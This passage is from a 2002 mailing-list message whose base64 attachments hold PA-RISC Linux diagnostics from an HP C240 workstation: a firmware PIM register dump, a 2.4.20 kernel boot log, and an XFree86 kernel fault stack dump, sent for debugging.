DQoxNi0xOSAgIDAwMDAwMDIzYjAwYmFjODIgIDAwMDAwMDAwMDAwMDAzNGUg
IDAwMDAwMDAwMDAxMWUzYTcgIDAwMDAwMDAwNmJjMjNmZDkNCjIwLTIzICAg
MDAwMDAwMDBhNjI3ZmZlYiAgYzAwMDAwMDBjMDMwMDY2YyAgMDAwMDAwMDAw
MDJjMDEwZiAgMDAwMDAwMDA4MDAwMDAwMA0KMjQtMjcgICAwMDAwMDAwMDAw
MmFiMDAwICAwMDAwMDAwMDFkOWUzMDAwICAwMDAwMDAwMGZmZmZmZmZmICAw
MDAwMDAwMGZmZmZmZmZmDQoyOC0zMSAgIDAwMDAwMDAwZmZmZmZmZmYgIDAw
MDAwMDAwZmZmZmZmZmYgIDAwMDAwMDAwMmNmYjAwMDAgIDAwMDAwMDAwMTAz
MzAwMDANCg0KU3BhY2UgUmVnaXN0ZXJzIDAgLSA3DQowMC0wMyAgIDAwMDAw
MzRlICAgICAgICAgIDAwMDAwMzRlICAgICAgICAgIDAwMDAwMDAwICAgICAg
ICAgIDAwMDAwMzRlDQowNC0wNyAgIDAwMDAwMzRlICAgICAgICAgIDAwMDAw
MzRlICAgICAgICAgIDAwMDAwMzRlICAgICAgICAgIDAwMDAwMzRlDQoNCklJ
QSBTcGFjZSAgICAgICAgICAgICAgICAgICAgPSAweDAwMDAwMDAwMDAwMDAz
NGUNCklJQSBPZmZzZXQgICAgICAgICAgICAgICAgICAgPSAweDAwMDAwMDAw
MDAxMWM3Y2INCkNoZWNrIFR5cGUgICAgICAgICAgICAgICAgICAgPSAweDIw
MDAwMDAwDQpDUFUgU3RhdGUgICAgICAgICAgICAgICAgICAgID0gMHg5ZTAw
MDAwNA0KQ2FjaGUgQ2hlY2sgICAgICAgICAgICAgICAgICA9IDB4MDAwMDAw
MDANClRMQiBDaGVjayAgICAgICAgICAgICAgICAgICAgPSAweDAwMDAwMDAw
DQpCdXMgQ2hlY2sgICAgICAgICAgICAgICAgICAgID0gMHgwMDIwMDAwYw0K
QXNzaXN0cyBDaGVjayAgICAgICAgICAgICAgICA9IDB4MDAwMDAwMDANCkFz
c2lzdCBTdGF0ZSAgICAgICAgICAgICAgICAgPSAweDAwMDAwMDAwDQpQYXRo
IEluZm8gICAgICAgICAgICAgICAgICAgID0gMHgwMDAwMDAwMA0KU3lzdGVt
IFJlc3BvbmRlciBBZGRyZXNzICAgICA9IDB4ZmZmZmZmZmZmZmZhMDAwMA0K
U3lzdGVtIFJlcXVlc3RvciBBZGRyZXNzICAgICA9IDB4MDAwMDAwMDAwMDAw
MDAwMA0KQ2hlY2sgU3VtbWFyeSAgICAgICAgICAgICAgICA9IDB4ODAwMjAw
MDA0MDAwNDA0MA0KQXZhaWxhYmxlIE1lbW9yeSAgICAgICAgICAgICA9IDB4
MDAwMDAwMDAwMDAwMDAwMA0KQ1BVIERpYWdub3NlIFJlZ2lzdGVyIDIgICAg
ICA9IDB4MDUwMTAwMDAwMDAwMDAwNA0KQ1BVIFN0YXR1cyBSZWdpc3RlciAw
ICAgICAgICA9IDB4NDQyMGMyMDAwMDAwMDAwMA0KQ1BVIFN0YXR1cyBSZWdp
c3RlciAxICAgICAgICA9IDB4ODAwMjAwMDAwMDAwMDAwMA0KU0FERCBMT0cg
ICAgICAgICAgICAgICAgICAgICA9IDB4MDgwMDAwMDAwMDAwMDAwMA0KUmVh
ZCBTaG9ydCBMT0cgICAgICAgICAgICAgICA9IDB4YzEyMGYwZmZmNjAwMDA1
NA0KDQpNZW1vcnkgRXJyb3IgTG9nIEluZm9ybWF0aW9uOg0KDQpUaW1lc3Rh
bXAgPSAgIFR1ZSBOb3YgIDI2IDAzOjUxOjQyIEdNVCAyMDAyICAgICgyMDow
MjoxMToyNjowMzo1MTo0MikNCg0KICAgTm8gbWVtb3J5IGVycm9ycyBsb2dn
ZWQNCg0KDQpJL08gTW9kdWxlIEVycm9yIExvZyBJbmZvcm1hdGlvbjoNCg0K
VGltZXN0YW1wID0gICBUdWUgTm92ICAyNiAwMzo1MTo0NCBHTVQgMjAwMiAg
ICAoMjA6MDI6MTE6MjY6MDM6NTE6NDQpDQoNCkJ1cyAgICBIUEEgICAgICAg
TW9kdWxlIFR5cGUgICAgICBQYXRoICBTbHQgTWQgU2V2ICBFc3RhdCBSZXF1
ZXN0b3IgIFJlc3BvbmRlcg0KLS0tIC0tLS0tLS0tLS0gLS0tLS0tLS0tLS0t
LS0tLSAtLS0tLS0tLSAtLSAtLSAtLS0tIC0tLS0tLSAtLS0tLS0tLS0tDQog
MCAgMHhmZmY4ODAwMCBJL08gQWRhcHRlciAgICAgIDggICAgICAgICAyICAw
ICBoZSAgIDB4MGQgMHgwMDAwMDAwMCAweDAwMDAwMDAwIA0KIDEgIDB4ZjIw
M2YwMDAgQnVzIENvbnZlcnRlciAgICA4LzYzICAgICAxNSAgMyAgc2UgICAw
eDA3IDB4ZmZmYTA4MDAgMHhmNjAwMDA1NCANCiAxICAweGYyMDAwMDAwIEJ1
cyBCcmlkZ2UgKFBDSSkgICAgICAgICAgICAgICAgICAgICAgMHgwOSAweGZm
ZmEwMDAwIDB4MDAwMDAwMDAgDQoNCg0KUENJIEVycm9yIFN1bW1hcnkNCg0K
QW4gZXJyb3IgcmVsYXRlZCB0byB0aGUgR1NDIGJ1cyBvY2N1cnJlZC4gVGhl
DQpwcm9jZXNzb3Igd2FzIHRoZSByZXF1ZXN0b3IuIEl0IGNvdWxkIGhhdmUg
YmVlbg0KYSBkYXRhIHBhcml0eSBlcnJvciwgYW4gYWRkcmVzcyBwYXJpdHkg
ZXJyb3Igb3IgYQ0KR1NDIHRpbWVvdXQuIE9uIFBBNzMwMCBzeXN0ZW1zLCBj
aGVjayB0aGUgTUlPQw0KRElPRVJSIHJlZ2lzdGVyIGxpc3RlZCBhYm92ZS4N
Cg0KQnVzICAgIEhQQSAgICAgICBNb2R1bGUgVHlwZSAgICAgIFBhdGggIFNs
dCBNZCBTZXYgIEVzdGF0IFJlcXVlc3RvciAgUmVzcG9uZGVyDQotLS0gLS0t
LS0tLS0tLSAtLS0tLS0tLS0tLS0tLS0tIC0tLS0tLS0tIC0tIC0tIC0tLS0g
LS0tLS0gLS0tLS0tLS0tLSAtLS0tLS0tLS0tDQogMCAgMHhmZmY4YTAwMCBJ
L08gQWRhcHRlciAgICAgIDEwICAgICAgICAyICAyICBoZSAgIDB4MGQgMHgw
MDAwMDAwMCAweDAwMDAwMDAwIA0KDQpNYWluIE1lbnU6IEVudGVyIGNvbW1h
bmQgPiANCg0K
---275789367-1253078546-1038325510=:8267
Content-Type: TEXT/PLAIN; charset=US-ASCII; name=X-dmesg
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.LNX.4.44.0211261545103.8267@sal.ucc.ie>
Content-Description: 
Content-Disposition: attachment; filename=X-dmesg

TGludXggdmVyc2lvbiAyLjQuMjAtcmMxLXBhNyAoeGFtQGJlYXN0LnVjYy5p
ZSkgKGdjYyB2ZXJzaW9uIDMuMC40KSAjMiBUdWUgTm92IDI2IDAyOjQ5OjM4
IEdNVCAyMDAyDQpGUFswXSBlbmFibGVkOiBSZXYgMCBNb2RlbCAxNA0KVGhl
IDMyLWJpdCBLZXJuZWwgaGFzIHN0YXJ0ZWQuLi4NCkRldGVybWluaW5nIFBE
QyBmaXJtd2FyZSB0eXBlOiBTeXN0ZW0gTWFwLg0KbW9kZWwgMDAwMDU5OTAg
MDAwMDA0ODEgMDAwMDAwMDAgMDAwMDAwMDIgNzdmNzU2MzAgMTAwMDAwZjAg
MDAwMDAwMDggMDAwMDAwYjIgMDAwMDAwYjINCnZlcnMgIDAwMDAwNTAxDQpD
UFVJRCB2ZXJzIDE0IHJldiAyMyAoMHgwMDAwMDFkNykNCmNhcGFiaWxpdGll
cyAweDINCm1vZGVsIDkwMDAvNzgyL0MyNDArDQpUb3RhbCBNZW1vcnk6IDUx
MiBNYg0KcGFnZXRhYmxlX2luaXQNCk9uIG5vZGUgMCB0b3RhbHBhZ2VzOiAx
MzEwNzINCnpvbmUoMCk6IDEzMTA3MiBwYWdlcy4NCnpvbmUoMSk6IDAgcGFn
ZXMuDQp6b25lKDIpOiAwIHBhZ2VzLg0KTEVEIGRpc3BsYXkgYXQgZjAxOTAw
MDEgcmVnaXN0ZXJlZA0KS2VybmVsIGNvbW1hbmQgbGluZTogcm9vdD0vZGV2
L3NkYTQgSE9NRT0vIGlwPW9mZiBjb25zb2xlPXR0eVMwIFRFUk09dnQxMDIg
cGFsb19rZXJuZWw9Mi92bWxpbnV4LTIuNC4yMC1yYzEtcGE3DQpDb25zb2xl
OiBjb2xvdXIgZHVtbXkgZGV2aWNlIDE2MHg2NA0KQ2FsaWJyYXRpbmcgZGVs
YXkgbG9vcC4uLiA0NzAuMjIgQm9nb01JUFMNCk1lbW9yeTogNTE1NTE2ayBh
dmFpbGFibGUNCkRlbnRyeSBjYWNoZSBoYXNoIHRhYmxlIGVudHJpZXM6IDY1
NTM2IChvcmRlcjogNywgNTI0Mjg4IGJ5dGVzKQ0KSW5vZGUgY2FjaGUgaGFz
aCB0YWJsZSBlbnRyaWVzOiAzMjc2OCAob3JkZXI6IDYsIDI2MjE0NCBieXRl
cykNCk1vdW50LWNhY2hlIGhhc2ggdGFibGUgZW50cmllczogODE5MiAob3Jk
ZXI6IDQsIDY1NTM2IGJ5dGVzKQ0KQnVmZmVyLWNhY2hlIGhhc2ggdGFibGUg
ZW50cmllczogMzI3NjggKG9yZGVyOiA1LCAxMzEwNzIgYnl0ZXMpDQpQYWdl
LWNhY2hlIGhhc2ggdGFibGUgZW50cmllczogMTMxMDcyIChvcmRlcjogNywg
NTI0Mjg4IGJ5dGVzKQ0KU2VhcmNoaW5nIGZvciBkZXZpY2VzLi4uDQpGb3Vu
ZCBkZXZpY2VzOg0KMS4gVTItSU9BIEJDIFJ1bndheSBQb3J0ICgxMikgYXQg
MHhmZmY4ODAwMCBbOF0sIHZlcnNpb25zIDB4NTgwLCAweGYsIDB4Yg0KMi4g
RGlubyBQQ0kgQnJpZGdlICgxMykgYXQgMHhmMjAwMDAwMCBbOC8wXSwgdmVy
c2lvbnMgMHg2ODAsIDB4MywgMHhhLCAgYWRkaXRpb25hbCBhZGRyZXNzZXM6
IDB4ZjI4MDAwMDAgMHhmNjAwMDAwMCANCjMuIFJhdmVuIFUvTDIgRGlubyBS
Uy0yMzIgKDEwKSBhdCAweGYyMDAzMDAwIFs4LzAvNjNdLCB2ZXJzaW9ucyAw
eDYsIDB4MCwgMHg4Yw0KNC4gUmF2ZW4gVS9MMiBEaW5vIFBTLzIgUG9ydCAo
MTApIGF0IDB4ZjIwMDEwMDAgWzgvMV0sIHZlcnNpb25zIDB4NiwgMHgwLCAw
eDk2DQo1LiBSYXZlbisgdyBTRSBGV1NDU0kgQ29yZSBCQSAoMTEpIGF0IDB4
ZmZkMDAwMDAgWzgvMTZdLCB2ZXJzaW9ucyAweDU2LCAweDAsIDB4ODEsICBh
ZGRpdGlvbmFsIGFkZHJlc3NlczogMHhmZmQwYzAwMCAweGZmYzAwMDAwIA0K
Ni4gUmF2ZW4rIHcgU0UgRldTQ1NJIENvcmUgQ2VudHJvbmljcyAoMTApIGF0
IDB4ZmZkMDIwMDAgWzgvMTYvMF0sIHZlcnNpb25zIDB4NTYsIDB4MCwgMHg3
NCwgIGFkZGl0aW9uYWwgYWRkcmVzc2VzOiAweGZmZDAxMDAwIDB4ZmZkMDMw
MDAgDQo3LiBSYXZlbisgdyBTRSBGV1NDU1UgQ29yZSBBdWRpbyAoMTApIGF0
IDB4ZmZkMDQwMDAgWzgvMTYvMV0sIHZlcnNpb25zIDB4NTYsIDB4NCwgMHg3
Yg0KOC4gUmF2ZW4rIHcgU0UgRldTQ1NJIENvcmUgUlMtMjMyICgxMCkgYXQg
MHhmZmQwNTAwMCBbOC8xNi80XSwgdmVyc2lvbnMgMHg1NiwgMHgwLCAweDhj
DQo5LiBSYXZlbisgdyBTRSBGV1NDU0kgQ29yZSBTQ1NJICgxMCkgYXQgMHhm
ZmQwNjAwMCBbOC8xNi81XSwgdmVyc2lvbnMgMHg1NiwgMHgwLCAweDgyDQox
MC4gUmF2ZW4rIHcgU0UgRldTQ1NJIENvcmUgUFMvMiBQb3J0ICgxMCkgYXQg
MHhmZmQwODAwMCBbOC8xNi83XSwgdmVyc2lvbnMgMHg1NiwgMHgwLCAweDg0
DQoxMS4gUmF2ZW4rIHcgU0UgRldTQ1NJIENvcmUgUFMvMiBQb3J0ICgxMCkg
YXQgMHhmZmQwODEwMCBbOC8xNi84XSwgdmVyc2lvbnMgMHg1NiwgMHgwLCAw
eDg0DQoxMi4gVTItSU9BIEJDIEdTQysgUG9ydCAoNykgYXQgMHhmMjAzZjAw
MCBbOC82M10sIHZlcnNpb25zIDB4NTAxLCAweDEsIDB4Yw0KMTMuIFUyLUlP
QSBCQyBSdW53YXkgUG9ydCAoMTIpIGF0IDB4ZmZmOGEwMDAgWzEwXSwgdmVy
c2lvbnMgMHg1ODAsIDB4ZiwgMHhiDQoxNC4gQ3VqbyBQQ0kgQnJpZGdlICgx
MykgYXQgMHhmMTAwMDAwMCBbMTAvMF0sIHZlcnNpb25zIDB4NjgyLCAweDEs
IDB4YQ0KMTUuIERpbm8gUlMtMjMyICgxMCkgYXQgMHhmMTAwMzAwMCBbMTAv
M10sIHZlcnNpb25zIDB4NywgMHgwLCAweDhjDQoxNi4gVTItSU9BIEJDIEdT
QysgUG9ydCAoNykgYXQgMHhmMTAzZjAwMCBbMTAvNjNdLCB2ZXJzaW9ucyAw
eDUwMSwgMHgxLCAweGMNCjE3LiBSYXZlbiBVIDI0MCAoOTAwMC83ODAvQzI0
MCkgKDApIGF0IDB4ZmZmYTAwMDAgWzMyXSwgdmVyc2lvbnMgMHg1OTksIDB4
MCwgMHg0DQoxOC4gTWVtb3J5ICgxKSBhdCAweGZmZmIxMDAwIFs0OV0sIHZl
cnNpb25zIDB4NmYsIDB4MCwgMHg5DQpDUFUocyk6IDEgeCBQQTgyMDAgKFBD
WC1VKykgYXQgMjM2LjAwMDAwMCBNSHoNCkZvdW5kIFUyIGF0IDB4ZmZmODgw
MDANCkZvdW5kIFUyIGF0IDB4ZmZmOGEwMDANCkxhc2kgdmVyc2lvbiAwIGF0
IDB4ZmZkMDAwMDAgZm91bmQuDQpEaW5vIHZlcnNpb24gMy4xIGZvdW5kIGF0
IDB4ZjIwMDAwMDANCkN1am8gdmVyc2lvbiAyLjAgZm91bmQgYXQgMHhmMTAw
MDAwMA0KRW5hYmxpbmcgQ3VqbyAyLjAgYnVnIHdvcmthcm91bmQNCkRvbid0
IHJlY29nbmlzZSBDdWpvIGF0IGFkZHJlc3MgMHhmMTAwMDAwMCwgbm90IGVu
YWJsaW5nIHdvcmthcm91bmQNCkN1am86IE5vIFBDSSBkZXZpY2VzIGVuYWJs
ZWQuDQpQT1NJWCBjb25mb3JtYW5jZSB0ZXN0aW5nIGJ5IFVOSUZJWA0KTGlu
dXggTkVUNC4wIGZvciBMaW51eCAyLjQNCkJhc2VkIHVwb24gU3dhbnNlYSBV
bml2ZXJzaXR5IENvbXB1dGVyIFNvY2lldHkgTkVUMy4wMzkNCkluaXRpYWxp
emluZyBSVCBuZXRsaW5rIHNvY2tldA0KU29mdCBwb3dlciBzd2l0Y2ggZW5h
YmxlZCwgcG9sbGluZyBAIDB4ZjAxNDAwMDAuDQpTdGFydGluZyBrc3dhcGQN
ClZGUzogRGlza3F1b3RhcyB2ZXJzaW9uIGRxdW90XzYuNC4wIGluaXRpYWxp
emVkDQpKb3VybmFsbGVkIEJsb2NrIERldmljZSBkcml2ZXIgbG9hZGVkDQpw
YXJwb3J0X2luaXRfY2hpcDogaW5pdGlhbGl6ZSBiaWRpcmVjdGlvbmFsLW1v
ZGUuDQpwYXJwb3J0MDogUEMtc3R5bGUgYXQgMHhmZmQwMjgwMCwgaXJxIDg4
IFtQQ1NQUCxUUklTVEFURV0NCnB0eTogMjU2IFVuaXg5OCBwdHlzIGNvbmZp
Z3VyZWQNClNlcmlhbCBkcml2ZXIgdmVyc2lvbiA1LjA1YyAoMjAwMS0wNy0w
OCkgd2l0aCBNQU5ZX1BPUlRTIFNIQVJFX0lSUSBTRVJJQUxfUENJIGVuYWJs
ZWQNCnR0eVMwMCBhdCBpb21lbSAweGZmZDA1ODAwIChpcnEgPSA5MCkgaXMg
YSAxNjU1MEENCnR0eVMwMSBhdCBpb21lbSAweGYyMDAzODAwIChpcnEgPSAx
MDYpIGlzIGEgMTY1NTBBDQpQUy8yIGtleWJvYXJkIHBvcnQgYXQgMHhmZmQw
ODAwMCAoaXJxIDY5KSBmb3VuZCwgbm8gZGV2aWNlIGF0dGFjaGVkLg0KUFMv
MiBwc2F1eCBwb3J0IGF0IDB4ZmZkMDgxMDAgKGlycSA2OSkgZm91bmQsIG5v
IGRldmljZSBhdHRhY2hlZC4NCmxwMDogdXNpbmcgcGFycG9ydDAgKGludGVy
cnVwdC1kcml2ZW4pLg0KR2VuZXJpYyBSVEMgRHJpdmVyIHYxLjAyIDA1LzI3
LzE5OTkgU2FtIENyZWFzZXkgKHNhbW15QG9oLnZlcmlvLmNvbSkNCk5FVDQ6
IEZyYW1lIERpdmVydGVyIDAuNDYNClJBTURJU0sgZHJpdmVyIGluaXRpYWxp
emVkOiAxNiBSQU0gZGlza3Mgb2YgNDA5Nksgc2l6ZSAxMDI0IGJsb2Nrc2l6
ZQ0KbG9vcDogbG9hZGVkIChtYXggOCBkZXZpY2VzKQ0KTGludXggVHVsaXAg
ZHJpdmVyIHZlcnNpb24gMC45LjE1LXByZTEyIChBdWcgOSwgMjAwMikNCnR1
bGlwMDogbm8gcGh5IGluZm8sIGFib3J0aW5nIG10YWJsZSBidWlsZA0KdHVs
aXAwOiAgTUlJIHRyYW5zY2VpdmVyICMxIGNvbmZpZyAxMDAwIHN0YXR1cyA3
ODJkIGFkdmVydGlzaW5nIDAwNjEuDQpkaXZlcnQ6IGFsbG9jYXRpbmcgZGl2
ZXJ0X2JsayBmb3IgZXRoMA0KZXRoMDogRGlnaXRhbCBEUzIxMTQzIFR1bGlw
IHJldiA0OCBhdCAweGYyZmZmMDAwLCAwMDoxMDo4MzowMzoyQzoxQywgSVJR
IDk2Lg0KU0NTSSBzdWJzeXN0ZW0gZHJpdmVyIFJldmlzaW9uOiAxLjAwDQpz
eW0uMC4xOS4wOiBzZXR0aW5nIFBDSV9DT01NQU5EX01BU1RFUi4uLg0Kc3lt
MDogPDg3NT4gcmV2IDB4NCBvbiBwY2kgYnVzIDAgZGV2aWNlIDE5IGZ1bmN0
aW9uIDAgaXJxIDk5DQpzeW0wOiBObyBOVlJBTSwgSUQgNywgRmFzdC0yMCwg
U0UsIHBhcml0eSBjaGVja2luZw0Kc3ltMDogU0NTSSBCVVMgaGFzIGJlZW4g
cmVzZXQuDQpzY3NpMCA6IHN5bS0yLjEuMTdhDQpibGs6IHF1ZXVlIDEwMGFm
Nzk0LCBJL08gbGltaXQgNDA5NU1iIChtYXNrIDB4ZmZmZmZmZmYpDQo1M2M3
MDA6IFZlcnNpb24gMi44IEJ5IEphbWVzLkJvdHRvbWxleUBIYW5zZW5QYXJ0
bmVyc2hpcC5jb20NCnNjc2kxOiA1M2M3MTAgcmV2IDIgDQpzY3NpMSA6IExB
U0kgU0NTSSA1M2M3MDANCiAgVmVuZG9yOiBIUCAgICAgICAgTW9kZWw6IENE
LVdyaXRlciA2MDIwICAgIFJldjogMS4wNw0KICBUeXBlOiAgIENELVJPTSAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgQU5TSSBTQ1NJIHJldmlzaW9u
OiAwMg0Kc2NzaTE6ICg2OjApIFN5bmNocm9ub3VzIGF0IG9mZnNldCA4LCBw
ZXJpb2QgMTAwbnMNCiAgVmVuZG9yOiBTRUFHQVRFICAgTW9kZWw6IFNUMzE4
NDE2TiAgICAgICAgIFJldjogMDAxMA0KICBUeXBlOiAgIERpcmVjdC1BY2Nl
c3MgICAgICAgICAgICAgICAgICAgICAgQU5TSSBTQ1NJIHJldmlzaW9uOiAw
Mw0Kc2NzaTE6ICg2OjEpIFN5bmNocm9ub3VzIGF0IG9mZnNldCA4LCBwZXJp
b2QgMTAwbnMNCkF0dGFjaGVkIHNjc2kgZGlzayBzZGEgYXQgc2NzaTEsIGNo
YW5uZWwgMCwgaWQgNiwgbHVuIDANCnNjc2kxOiAoNjowKSBFbmFibGluZyBU
YWcgQ29tbWFuZCBRdWV1aW5nDQpTQ1NJIGRldmljZSBzZGE6IDM1ODg1MTY4
IDUxMi1ieXRlIGhkd3Igc2VjdG9ycyAoMTgzNzMgTUIpDQpQYXJ0aXRpb24g
Y2hlY2s6DQogc2RhOiBzZGExIHNkYTIgc2RhMyBzZGE0DQpORVQ0OiBMaW51
eCBUQ1AvSVAgMS4wIGZvciBORVQ0LjANCklQIFByb3RvY29sczogSUNNUCwg
VURQLCBUQ1AsIElHTVANCklQOiByb3V0aW5nIGNhY2hlIGhhc2ggdGFibGUg
b2YgNDA5NiBidWNrZXRzLCAzMktieXRlcw0KVENQOiBIYXNoIHRhYmxlcyBj
b25maWd1cmVkIChlc3RhYmxpc2hlZCAzMjc2OCBiaW5kIDY1NTM2KQ0KTGlu
dXggSVAgbXVsdGljYXN0IHJvdXRlciAwLjA2IHBsdXMgUElNLVNNDQpORVQ0
OiBVbml4IGRvbWFpbiBzb2NrZXRzIDEuMC9TTVAgZm9yIExpbnV4IE5FVDQu
MC4NCmtqb3VybmFsZCBzdGFydGluZy4gIENvbW1pdCBpbnRlcnZhbCA1IHNl
Y29uZHMNCkVYVDMtZnM6IG1vdW50ZWQgZmlsZXN5c3RlbSB3aXRoIG9yZGVy
ZWQgZGF0YSBtb2RlLg0KVkZTOiBNb3VudGVkIHJvb3QgKGV4dDMgZmlsZXN5
c3RlbSkgcmVhZG9ubHkuDQpGcmVlaW5nIHVudXNlZCBrZXJuZWwgbWVtb3J5
OiAxOThrIGZyZWVkDQpBZGRpbmcgU3dhcDogNDk5NzA0ayBzd2FwLXNwYWNl
IChwcmlvcml0eSAtMSkNCkVYVDMgRlMgMi40LTAuOS4xOSwgMTkgQXVndXN0
IDIwMDIgb24gc2QoOCw0KSwgaW50ZXJuYWwgam91cm5hbA0KTGFzaSBIYXJt
b255IEF1ZGlvIGRyaXZlciBWMC45YSwgaC93IGlkIDIwLCByZXYuIDIzIGF0
IDB4ZmZkMDQwMDAsIElSUSA4Mg0Ka2pvdXJuYWxkIHN0YXJ0aW5nLiAgQ29t
bWl0IGludGVydmFsIDUgc2Vjb25kcw0KRVhUMyBGUyAyLjQtMC45LjE5LCAx
OSBBdWd1c3QgMjAwMiBvbiBzZCg4LDIpLCBpbnRlcm5hbCBqb3VybmFsDQpF
WFQzLWZzOiBtb3VudGVkIGZpbGVzeXN0ZW0gd2l0aCBvcmRlcmVkIGRhdGEg
bW9kZS4NCmV0aDA6IFNldHRpbmcgZnVsbC1kdXBsZXggYmFzZWQgb24gTUlJ
IzEgbGluayBwYXJ0bmVyIGNhcGFiaWxpdHkgb2YgNDFlMS4NCg==
---275789367-1253078546-1038325510=:8267
Content-Type: TEXT/PLAIN; charset=US-ASCII; name=X-kernel-fault2
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.LNX.4.44.0211261545104.8267@sal.ucc.ie>
Content-Description: 
Content-Disposition: attachment; filename=X-kernel-fault2

IyMjIyMjIE5PVEU6IHNlcmlhbCBudWxsLW1vZGVtIGNhYmxlIGlzIFZFUlkg
TE9ORywgdGhlcmVmb3JlDQojIyMjIyMgdW5yZWxpYWJsZSBvdXRwdXQsIGku
ZS4gb2Z0ZW4gY2hhcmFjdGVycyBhcmUgbWlzc2luZyEhIQ0KIyMjIyMjIEJP
VEggUFMyLWtleWJvYXJkIGFuZCAtbW91c2Ugd2VyZSBhdHRhY2hlZCB0byB0
aGUgQzI0MA0KIyMjIyMjIGdyYXBoaWNzIGNhcmQ6IFZvb2RvbzMgMzAwMCBp
biAzMmJpdCBQQ0kgc2xvdA0KDQoNCg0KWEZyZWU4NiBWZXJzaW9uIDQuMi4w
IC8gWCBXaW5kb3cgU3lzdGVtDQoocHJvdG9jb2wgVmVyc2lvbiAxMSwgcmV2
aXNpb24gMCwgdmVuZG9yIHJlbGVhc2UgNjYwMCkNClJlbGVhc2UgRGF0ZTog
MTEgTWFyY2ggMjAwMg0KICAgICAgICBJZiB0aGUgc2VydmVyIGlzIG9sZGVy
IHRoYW4gNi0xMiBtb250aHMsIG9yIGlmIHlvdXIgY2FyZCBpcw0KICAgICAg
ICBuZXdlciB0aGFuIHRoZSBhYm92ZSBkYXRlLCBsb29rIGZvciBhIG5ld2Vy
IHZlcnNpb24gYmVmb3JlDQogICAgICAgIHJlcG9ydGluZyBwcm9ibGVtcy4g
IChTZWUgaHR0cDovL3d3dy5YRnJlZTg2Lk9yZy8pDQpCdWlsZCBPcGVyYXRp
bmcgU3lzdGVtOiBMaW51eCAyLjQuMTcgcGFyaXNjIFtFTEZdIA0KTWFya2Vy
czogKC0tKSopIGZyb20gY29uZmlnIGZpbGUsICg9PSkgZGVmYXVsdCBzZXR0
aW5nLA0KICAgICAgICAgKCsrKSBmcm9tIGNvbW1hbmQgbGluZSwgKCEhKSBu
b3RpY2UsIChJSSkgaW5mb3JtYXRpb25hbCwNCiAgICAgICAgIChXVykgd2Fy
bmluZywgKEVFKSBlcnJvciwgKE5JKSBub3QgaW1wbGVtZW50ZWQsICg/Pykg
dW5rbm93bi4NCig9PSkgTG9nIGZpbGU6ICIvdmFyL2xvZy9YRnJlZTg2LjAu
bG9nIiwgVGltZTogVHVlIE5vdiAyNiAwNDozOTo0NCAyMDAyDQooPT0pIFVz
aW5nIGNvbmZpZyBmaWxlOiAiL2V0Yy9YMTEvWEY4NkNvbmZpZy00Ig0KDQoN
Cg0KU3RhY2sgRHVtcDoNCiBmYWYwMDY4MDogIA0KU3RhY2sgRHVtcDoNCiAx
MDI5NDRjMDogIDAwMDQwMDBlIDAwMDAwMDAxIDAwMDAwMDAwIDAwMDAwMWZm
IA0KIDEwMjk0NGIwOiAgMDAwMDAwNjMgMTAxMDNlZTggZmZmYTAwMDAgMDAw
MDgwMDAgDQogMTAyOTQ0YTA6ICAwMDI5ODAwMCAxMDI1ZWY5YyBmYWYwMDY4
MCAwMDAwMDAwMSANCiAxMDI5NDQ5MDogIDAwMDAwMDAxIDEwMmI1YzNjIDEw
MTFjMzFjIDEwMmE0ODEwIA0KIDEwMjk0NDgwOiAgMDAwNDAwMGYgMDAwMDgw
MDAgMDAwMDAwMDEgZjAwYjQ5YmMgDQogMTAyOTQ0NzA6ICAwMDAwMDAwMCAw
MDAwMDAwMSAwMDAwMDAwMSAwMDAwMDAwMCANCg0KS2VybmVsIGFkZHJlc3Nl
cyBvbiB0aGUgc3RhY2s6DQogWzwxMDEwM2VlYzMxYz5dICBbPDEwMTA0NjVj
Pl0gIFs8MTAxMDI0ZDg+XSANCiBbPDEwMTA0N2Y4Pl0gIFs8MTAxMDgwOTA+
XSANCg0KS2VybmVsIEZhdWx0OiBDb2RlPTE1IHJlZ3M9MTAyOTQ0YzAgKEFk
ZHI9ZmFmMDA2ODApDQoNCiAgICAgWVpydldFU1RITE5YQkNWTWNiY2JjYmNi
T0dGUlFQREkNClBTVzogMDAwMDAwMDAwMDAwMDEwMDAwMDAwMDAwMDAwMDEx
MTAgTm90IHRhaW50ZWQNCnIwMC0wMyAgMDAwMDAwMDAgMTAyYTE4MTAgMTAx
MDNlZTggZmFmMDA2ODANCnIwNC0wNyAgMDAwMDAwMDAgMTAyOTM4MTAgMTAy
NWU4MDAgMTAyNWU4MDANCnIwOC0xMSAgMDAyOTgwMDAgMDAwMDgwMDAgZmZm
YTAwMDAgMDA3MmEwMzQNCnIxMi0xNSAgMDAwMDAwNjMgMDAwMDAxZmYgMDAw
MDAwMDAgMDAwMDAwMDENCnIxNi0xOSAgMTAyOTQwODAgMDAwMDAwMDEgZmFm
MDAxMTQgMDAwMDA2ODANCnIyMC0yMyAgMDAwMDAwMDAgMmYwZDQwMDAgZmZk
MDU4MDAgMDAwMDAwMDANCnIyNC0yNyAgMDAwMDAwMDEgZmFmMDA2ODAgMTAy
YTRiYTAgMTAyOGEwMTANCnIyOC0zMSAgMDAwMDAwMGYgMDAwMDAwNjAgMTAy
OTQ0YzAgMDAwMDAwMDANCnNyMC0zICAgMDAwMDAwMDAgMDAwMDAyZDggMDAw
MDAwMDAgMDAwMDAyZDgNCnNyNC03ICAgMDAwMDAwMDAgMDAwMDAwMDAgMDAw
MDAwMDAgMDAwMDAwMDANCg0KSUFTUTogMDAwMDAwMDAgMDAwMDAwMDAgSUFP
UTogMTAxMDNmMTQgMTAxMDNmMTgNCiBJSVI6IDBjNjAxMDk5ICAgIElTUjog
MDAwMDAwMDAgIElPUjogZmFmMDA2ODANCiBDUFU6ICAgICAgICAwICAgQ1Iz
MDogMmQzMzAwMDAgQ1IzMTogMTAzMzAwMDANCiBPUklHX1IyODogMDAyOTQ1
NjgNCg0K
---275789367-1253078546-1038325510=:8267
Content-Type: TEXT/PLAIN; charset=US-ASCII; name=X-ser-pim2
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.LNX.4.44.0211261545105.8267@sal.ucc.ie>
Content-Description: 
Content-Disposition: attachment; filename=X-ser-pim2

IyMjIyBUT0MgZGlkbid0IHdvcmsgdGhpcyB0aW1lLCB0aGVyZWZvcmUgSSBo
YWQgdG8gcmVjeWNsZSBwb3dlciBvZiBDMjQwDQojIyMjIyBvdXRwdXQgc2hv
dWxkIGJlIG9rYXksIHNpbmNlIEkgY2hlY2tlZCBzZXItcGltIHNldmVyYWwg
